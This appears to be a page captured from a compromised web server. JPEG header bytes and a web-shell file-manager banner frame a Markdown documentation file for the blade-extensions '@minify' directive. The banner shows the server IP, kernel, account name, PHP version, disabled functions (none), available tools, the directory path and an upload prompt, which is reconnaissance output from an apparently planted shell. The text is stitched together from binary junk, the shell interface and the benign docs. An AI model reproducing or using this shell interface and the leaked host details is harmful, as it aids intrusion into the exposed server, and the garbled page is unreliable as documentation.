ÿØÿà JFIF H H ÿÛ C ÿÛ Cÿ " ÿÄ ÿÄ ÿÚ ±5¬€ ÿÄ àÿÚ ÿÄ ÀÿÚ ? ÿÄ ÀÿÚ ? ÿÄ àÿÚ ? ÿÄ àÿÚ ?! ÿÚ ÿÄ ÀÿÚ ? ÿÄ ÀÿÚ ? ÿÄ àÿÚ ? ÿÙ
| Server IP : 160.25.81.117 / Your IP : 216.73.216.137 Web Server : Apache/2 System : Linux sv05.hilab.cloud 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64 User : bellizen ( 1045) PHP Version : 7.2.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/bellizen/public_html/vendor/radic/blade-extensions/docs/directives/ |
Upload File : |
0---
title: Minification
subtitle: '@minify'
---
Minification
============
> There aren't many valid use-cases for using this directive. Check out the [alternatives](#alternatives) at the bottom of the page first!
The `@minify` directive requires 1 parameter which is `html`, `css` or `js`.
By default, only `@minify('html')` works.
```html
@minify('html')
<body>
@yield('start')
<div class="container">
@yield('content')
</div>
@yield('end')
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.3/jquery.min.js"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/js/bootstrap.min.js"></script>
@stack('scripts')
</body>
@endminify
```
Javascript & CSS
-----------------------
To enable javascript and css minification, Add the `matthiasmullie/minify` package.
If Blade Extensions detects the package it enables the `@minify('js')` and `@minify('css')` directives
```json
"require": {
"matthiasmullie/minify": "~1.3"
}
```
### Javascript
```php
<script>
@minify('js')
var exampleJavascript = {
this: 'that',
foo: 'bar',
doit: function(){
console.log('yesss');
}
};
@endminify
</script>
```
### CSS
```php
<style type="text/css">
@minify('css')
a.bg-primary:hover,
a.bg-primary:focus {
background-color: #286090;
}
.bg-success {
background-color: #dff0d8;
}
a.bg-success:hover,
a.bg-success:focus {
background-color: #c1e2b3;
}
@endminify
</style>
```
<a name='alternatives'></a>
Alternatives
------------
Just a few examples
- [laradic/assets](https://packagist.org/packages/laradic/assets) A asset manager for Laravel 5. Enables grouping, chaining, compiling (minification, url rewriting for css, etc). Uses `Assetic`'s filters in order to provide high functionality.
- [graham-campbell/htmlmin](https://packagist.org/packages/graham-campbell/htmlmin) A HTML minifier for Laravel 5. Minify entire responses or minify blade at compile time.